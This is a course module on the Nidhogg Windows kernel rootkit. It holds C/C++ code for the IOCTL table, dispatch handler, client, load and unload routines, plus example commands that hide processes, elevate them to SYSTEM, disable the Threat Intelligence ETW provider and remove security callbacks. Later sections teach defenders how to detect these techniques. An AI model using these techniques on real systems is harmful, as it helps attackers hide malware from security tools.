Module 8: Full Chain, IOCTL Interface & Detection
Complete Nidhogg architecture, the IOCTL command table, user-mode client, and how to detect kernel rootkits.
Module Objective
Bring together all previous modules into a complete picture of Nidhogg’s architecture, understand the full IOCTL command dispatch table that maps user-mode requests to kernel operations, examine the NidhoggClient user-mode tool, and learn the detection strategies that defenders use to identify kernel rootkits including driver verification, PatchGuard, and forensic techniques.
1. Nidhogg Complete Architecture
Nidhogg is a two-component system. All techniques from Modules 1-7 are orchestrated through a central IOCTL dispatch model:
Complete System Architecture
User-mode C++
Command-line interface
Kernel driver
IRP_MJ_DEVICE_CONTROL
EPROCESS, VAD, ETW,
Callbacks, IRP hooks
Component Responsibilities
| Component | Language | Responsibility |
|---|---|---|
| Nidhogg.sys | C (WDK) | Kernel driver: receives IOCTLs, manipulates kernel structures, registers callbacks, hooks IRP handlers |
| NidhoggClient.exe | C++ | User-mode client: parses commands, serializes parameters, sends IOCTLs via DeviceIoControl, displays results |
| NidhoggLib (header) | C/C++ | Shared definitions: IOCTL codes, data structures, constants used by both components |
2. The IOCTL Command Table
Nidhogg defines a comprehensive set of IOCTL codes, each mapping to a specific rootkit capability. The dispatch table is the central routing mechanism:
C// Nidhogg IOCTL definitions (representative set)
#define IOCTL_NIDHOGG_BASE FILE_DEVICE_UNKNOWN
// Process operations
#define IOCTL_PROTECT_PROCESS CTL_CODE(IOCTL_NIDHOGG_BASE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_UNPROTECT_PROCESS CTL_CODE(IOCTL_NIDHOGG_BASE, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_HIDE_PROCESS CTL_CODE(IOCTL_NIDHOGG_BASE, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_UNHIDE_PROCESS CTL_CODE(IOCTL_NIDHOGG_BASE, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_ELEVATE_PROCESS CTL_CODE(IOCTL_NIDHOGG_BASE, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Thread operations
#define IOCTL_PROTECT_THREAD CTL_CODE(IOCTL_NIDHOGG_BASE, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_HIDE_THREAD CTL_CODE(IOCTL_NIDHOGG_BASE, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS)
// File operations
#define IOCTL_PROTECT_FILE CTL_CODE(IOCTL_NIDHOGG_BASE, 0x820, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_UNPROTECT_FILE CTL_CODE(IOCTL_NIDHOGG_BASE, 0x821, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Registry operations
#define IOCTL_PROTECT_REGKEY CTL_CODE(IOCTL_NIDHOGG_BASE, 0x830, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_UNPROTECT_REGKEY CTL_CODE(IOCTL_NIDHOGG_BASE, 0x831, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_PROTECT_REGVALUE CTL_CODE(IOCTL_NIDHOGG_BASE, 0x832, METHOD_BUFFERED, FILE_ANY_ACCESS)
// ETW operations
#define IOCTL_DISABLE_ETW CTL_CODE(IOCTL_NIDHOGG_BASE, 0x840, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_ENABLE_ETW CTL_CODE(IOCTL_NIDHOGG_BASE, 0x841, METHOD_BUFFERED, FILE_ANY_ACCESS)
// Callback operations
#define IOCTL_LIST_CALLBACKS CTL_CODE(IOCTL_NIDHOGG_BASE, 0x850, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_REMOVE_CALLBACK CTL_CODE(IOCTL_NIDHOGG_BASE, 0x851, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_RESTORE_CALLBACK CTL_CODE(IOCTL_NIDHOGG_BASE, 0x852, METHOD_BUFFERED, FILE_ANY_ACCESS)
3. The Central Dispatch Handler
The IRP_MJ_DEVICE_CONTROL handler is the driver's central nervous system, routing each IOCTL to the appropriate subsystem:
CNTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
UNREFERENCED_PARAMETER(DeviceObject);
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
NTSTATUS status = STATUS_SUCCESS;
ULONG bytesReturned = 0;
PVOID buffer = Irp->AssociatedIrp.SystemBuffer;
ULONG inLen = stack->Parameters.DeviceIoControl.InputBufferLength;
ULONG outLen = stack->Parameters.DeviceIoControl.OutputBufferLength;
ULONG ioctl = stack->Parameters.DeviceIoControl.IoControlCode;
switch (ioctl) {
// ---- Process operations ----
case IOCTL_PROTECT_PROCESS:
if (inLen < sizeof(ULONG)) { status = STATUS_BUFFER_TOO_SMALL; break; }
status = ProtectProcess(*(PULONG)buffer);
break;
case IOCTL_HIDE_PROCESS:
if (inLen < sizeof(ULONG)) { status = STATUS_BUFFER_TOO_SMALL; break; }
status = HideProcess(*(PULONG)buffer);
break;
case IOCTL_ELEVATE_PROCESS:
if (inLen < sizeof(ULONG)) { status = STATUS_BUFFER_TOO_SMALL; break; }
status = ElevateProcessToken(*(PULONG)buffer);
break;
// ---- File operations ----
case IOCTL_PROTECT_FILE:
if (inLen < sizeof(WCHAR) * 2) { status = STATUS_BUFFER_TOO_SMALL; break; }
status = AddProtectedFile((PWCHAR)buffer, inLen);
break;
// ---- Registry operations ----
case IOCTL_PROTECT_REGKEY:
if (inLen < sizeof(WCHAR) * 2) { status = STATUS_BUFFER_TOO_SMALL; break; }
status = AddProtectedRegistryKey((PWCHAR)buffer, inLen);
break;
// ---- ETW operations ----
case IOCTL_DISABLE_ETW:
if (inLen < sizeof(GUID)) { status = STATUS_BUFFER_TOO_SMALL; break; }
status = DisableEtwProvider((PGUID)buffer);
break;
// ---- Callback operations ----
case IOCTL_LIST_CALLBACKS: {
if (outLen < sizeof(CALLBACK_INFO) * 64) {
status = STATUS_BUFFER_TOO_SMALL; break;
}
ULONG count = 0;
status = EnumerateProcessCallbacks(
(PCALLBACK_INFO)buffer, 64, &count
);
bytesReturned = count * sizeof(CALLBACK_INFO);
break;
}
case IOCTL_REMOVE_CALLBACK:
if (inLen < sizeof(CALLBACK_REMOVE_INFO)) {
status = STATUS_BUFFER_TOO_SMALL; break;
}
PCALLBACK_REMOVE_INFO removeInfo = (PCALLBACK_REMOVE_INFO)buffer;
status = RemoveCallback(removeInfo->Type, removeInfo->Index);
break;
default:
status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
Irp->IoStatus.Status = status;
Irp->IoStatus.Information = bytesReturned;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
4. NidhoggClient: The User-Mode Tool
NidhoggClient provides a command-line interface that translates human-readable commands into IOCTL calls:
C++// NidhoggClient main command dispatcher
int wmain(int argc, wchar_t* argv[]) {
// Open handle to the Nidhogg driver
HANDLE hDevice = CreateFileW(
L"\\\\.\\Nidhogg", GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
wprintf(L"[-] Failed to open Nidhogg device. Is the driver loaded?\n");
return 1;
}
// Parse command
if (wcscmp(argv[1], L"process") == 0) {
if (wcscmp(argv[2], L"hide") == 0) {
DWORD pid = _wtoi(argv[3]);
SendIoctl(hDevice, IOCTL_HIDE_PROCESS, &pid, sizeof(pid));
}
else if (wcscmp(argv[2], L"protect") == 0) {
DWORD pid = _wtoi(argv[3]);
SendIoctl(hDevice, IOCTL_PROTECT_PROCESS, &pid, sizeof(pid));
}
else if (wcscmp(argv[2], L"elevate") == 0) {
DWORD pid = _wtoi(argv[3]);
SendIoctl(hDevice, IOCTL_ELEVATE_PROCESS, &pid, sizeof(pid));
}
}
else if (wcscmp(argv[1], L"file") == 0) {
if (wcscmp(argv[2], L"protect") == 0) {
SendIoctl(hDevice, IOCTL_PROTECT_FILE,
argv[3], (wcslen(argv[3]) + 1) * sizeof(WCHAR));
}
}
// ... other command categories ...
CloseHandle(hDevice);
return 0;
}
Example Command Usage
Batch:: Hide a process by PID
NidhoggClient.exe process hide 1234
:: Protect a file from deletion
NidhoggClient.exe file protect \Device\HarddiskVolume3\payload\implant.exe
:: Protect a registry key
NidhoggClient.exe reg protect \REGISTRY\MACHINE\SYSTEM\...\Services\Nidhogg
:: Disable the Threat Intelligence ETW provider
NidhoggClient.exe etw disable {F4E1897C-BB5D-5668-F1D8-040F4D8DD344}
:: List all process creation callbacks
NidhoggClient.exe callbacks list process
:: Remove a specific callback by index
NidhoggClient.exe callbacks remove process 3
:: Elevate a process to SYSTEM
NidhoggClient.exe process elevate 5678
5. Initialization Sequence
When the driver loads, DriverEntry orchestrates the initialization of all subsystems:
CNTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
NTSTATUS status;
// 1. Create device object and symbolic link (Module 2)
status = CreateDeviceAndSymLink(DriverObject);
if (!NT_SUCCESS(status)) return status;
// 2. Set IRP dispatch routines
DriverObject->MajorFunction[IRP_MJ_CREATE] = NidhoggCreateClose;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = NidhoggCreateClose;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = NidhoggDeviceControl;
DriverObject->DriverUnload = NidhoggUnload;
// 3. Resolve dynamic offsets for current Windows build
status = ResolveKernelOffsets();
if (!NT_SUCCESS(status)) goto cleanup;
// 4. Install file protection hook (Module 4)
status = InstallFileProtectionHook();
// Non-fatal: log and continue if hook fails
// 5. Register registry callbacks (Module 4)
status = InstallRegistryProtection();
// Non-fatal: log and continue
// 6. Register object callbacks for process/thread protection (Module 3)
status = InstallObjectCallbacks();
// Non-fatal: log and continue
// 7. Locate callback arrays for future enumeration/removal (Module 6)
status = LocateCallbackArrays();
// Non-fatal: log and continue
// 8. Locate ETW structures for future provider disabling (Module 5)
status = LocateEtwStructures();
// Non-fatal: log and continue
return STATUS_SUCCESS;
cleanup:
CleanupDevice(DriverObject);
return status;
}
Graceful Degradation
Nidhogg is designed to partially function even if some subsystems fail to initialize. If registry callback registration fails, the driver still provides process hiding and ETW disabling. Only the device/symlink creation and offset resolution are fatal failures, because without them no communication or safe kernel access is possible.
6. Driver Unload and Cleanup
Clean unloading requires undoing every modification in reverse order:
CVOID NidhoggUnload(PDRIVER_OBJECT DriverObject) {
// 1. Restore ETW providers (Module 5)
RestoreAllEtwProviders();
// 2. Unregister registry callbacks (Module 4)
CmUnRegisterCallback(g_RegCallbackCookie);
// 3. Unregister object callbacks (Module 3)
ObUnRegisterCallbacks(g_ObCallbackHandle);
// 4. Restore NTFS IRP hook (Module 4)
if (g_NtfsDriverObject && g_OriginalNtfsMjCreate) {
InterlockedExchangePointer(
(PVOID*)&g_NtfsDriverObject->MajorFunction[IRP_MJ_CREATE],
(PVOID)g_OriginalNtfsMjCreate
);
}
// 5. Re-link any hidden processes (Module 3)
UnhideAllProcesses();
// 6. Restore any modified VADs/PTEs (Module 7)
RestoreAllMemoryModifications();
// 7. Delete symbolic link and device object (Module 2)
UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\??\\Nidhogg");
IoDeleteSymbolicLink(&symLink);
IoDeleteDevice(DriverObject->DeviceObject);
// 8. Free all pool allocations
FreeAllAllocations();
}
7. Detection: Driver Verification
Defenders have several strategies for detecting kernel rootkits. The first line of defense is driver verification:
| Detection Method | What It Checks | Effectiveness Against Nidhogg |
|---|---|---|
| Loaded driver enumeration | NtQuerySystemInformation(SystemModuleInformation) lists all loaded modules | Effective if loaded via sc.exe; ineffective if manually mapped (kdmapper) |
| Driver signature verification | Check all loaded drivers have valid Authenticode signatures | Effective if loaded normally; bypassed by BYOVD + manual mapping |
| Known vulnerable driver detection | Microsoft's vulnerable driver blocklist (Microsoft-Recommended-Driver-Block-Rules) | Blocks known BYOVD vectors but new vulnerable drivers are constantly found |
| Device object enumeration | Walk the object namespace for suspicious device objects (\Device\Nidhogg) | Effective: the device object must exist for IOCTL communication |
| Pool tag scanning | Scan kernel pool for known tags used by the rootkit | Moderate: tags can be changed at compile time |
C++// Defender tool: enumerate device objects looking for rootkit indicators
// Using NtOpenDirectoryObject + NtQueryDirectoryObject to walk \Device
void ScanForSuspiciousDevices() {
// Known rootkit device names to check
const wchar_t* suspiciousNames[] = {
L"Nidhogg", L"Cronos", L"KernelRootkit",
// ... other known rootkit device names
};
// Walk \Device namespace and check for matches
}
8. Detection: Kernel Integrity Verification
Beyond driver enumeration, defenders can verify the integrity of kernel structures that rootkits modify:
Integrity Checks
| Check | What Is Verified | Detects |
|---|---|---|
| ActiveProcessLinks walking | Compare process count from ActiveProcessLinks vs. HandleTable vs. CID table | DKOM-hidden processes: HandleTable has entries for processes not in ActiveProcessLinks |
| SSDT verification | All SSDT entries should point within ntoskrnl address range | SSDT hooking (not used by Nidhogg, but checked anyway) |
| IRP hook detection | MajorFunction table entries should point within the original driver | Nidhogg's NTFS IRP_MJ_CREATE hook |
| Callback array integrity | Count and verify all callback registrations against expected count | Callback removal (Module 6) |
| ETW provider verification | Check IsEnabled state of critical providers matches expected state | ETW provider disabling (Module 5) |
C// Detection: Find DKOM-hidden processes
// Walk ActiveProcessLinks AND the PspCidTable (handle table)
// Processes in CidTable but not in ActiveProcessLinks are hidden
VOID DetectHiddenProcesses() {
// Method 1: Walk ActiveProcessLinks (user-mode accessible via
// NtQuerySystemInformation)
LIST_ENTRY-based processes;
// Method 2: Walk PspCidTable (requires kernel driver)
// PspCidTable contains an entry for every process/thread ever created
// It is NOT modified by DKOM (ActiveProcessLinks unlinking)
// Compare: processes in CidTable but missing from ActiveProcessLinks
// = hidden processes
}
9. PatchGuard / Kernel Patch Protection (KPP)
PatchGuard is Microsoft's mechanism for detecting unauthorized kernel modifications. Understanding what it does and does not monitor is critical for both attackers and defenders:
| Monitored by PatchGuard | Not Reliably Monitored by PatchGuard |
|---|---|
| SSDT (System Service Descriptor Table) | ETW GuidEntry structures |
| IDT (Interrupt Descriptor Table) | ObRegisterCallbacks registrations |
| GDT (Global Descriptor Table) | CmRegisterCallbackEx registrations |
| Critical ntoskrnl code sections | Process/thread token pointers |
| LSTAR MSR (syscall entry) | Notification callback arrays (varies by build) |
| Certain IRP dispatch tables (varies) | |
| Some kernel data structures including EPROCESS lists (varies by build) |
PatchGuard Limitations and DKOM Risk
PatchGuard runs at unpredictable intervals (randomized timing). It checks a snapshot of protected structures. A sophisticated rootkit could theoretically restore modifications before PatchGuard runs and re-apply them afterward. However, it is important to note that DKOM is NOT guaranteed to be PatchGuard-safe. PatchGuard's monitoring scope varies between Windows builds and has expanded over time. Nidhogg's own documentation acknowledges that PatchGuard can detect DKOM modifications to EPROCESS linked lists. While some of Nidhogg's other techniques (ETW manipulation, token replacement, documented callback APIs) operate on structures that PatchGuard does not typically monitor, DKOM process hiding carries a real risk of PatchGuard detection on newer Windows builds.
10. Forensic Detection Strategies
Advanced forensics goes beyond live system checks, examining memory dumps and artifacts that rootkits cannot easily hide:
Memory Forensics (Volatility Framework)
- psxview: Cross-references multiple process listing methods (ActiveProcessLinks, CID table, PspCidTable walk, session list, handle table) to find hidden processes
- driverirp: Lists all drivers and their IRP MajorFunction handlers, highlighting any that point outside the driver's own address range (detects IRP hooking)
- callbacks: Enumerates all registered notification callbacks and identifies which driver registered each one
- ssdt: Validates SSDT entries and identifies hooks
- vadinfo: Examines VAD tree entries for inconsistencies (missing entries, mismatched flags vs PTE protections)
| Detection Approach | Detects Which Nidhogg Feature |
|---|---|
| Cross-reference process lists (psxview) | DKOM process hiding (Module 3) |
| IRP hook scan (driverirp) | File protection hooks (Module 4) |
| Callback enumeration | Callback removal (Module 6) |
| ETW provider state check | ETW disabling (Module 5) |
| VAD/PTE consistency check | Memory hiding (Module 7) |
| Device object namespace scan | Driver presence via device name |
| Pool tag scanning | Kernel memory allocations by the rootkit |
11. Operational Security Summary
Red Team Best Practices with Kernel Rootkits
| Principle | Implementation |
|---|---|
| Always have a cleanup path | Support driver unload that reverses all modifications; never leave permanent artifacts |
| Minimize footprint | Use only the features needed for the engagement; do not enable all capabilities by default |
| Test on matching OS version | EPROCESS offsets and pattern scans are build-specific; test on the target's exact build |
| Have a BSOD recovery plan | Kernel bugs cause blue screens; know how to recover the target system if the rootkit crashes |
| Document everything | Record every rootkit action (hidden PIDs, protected files, disabled providers) for cleanup and reporting |
| Coordinate with defenders | In a purple team engagement, share detection opportunities and indicators |
Knowledge Check
Q1: How can a defender detect a DKOM-hidden process?
Q2: Why does Nidhogg use DKOM rather than SSDT hooking, even though neither is fully PatchGuard-safe?
Q3: What is the most reliable forensic technique for detecting Nidhogg's NTFS IRP hook?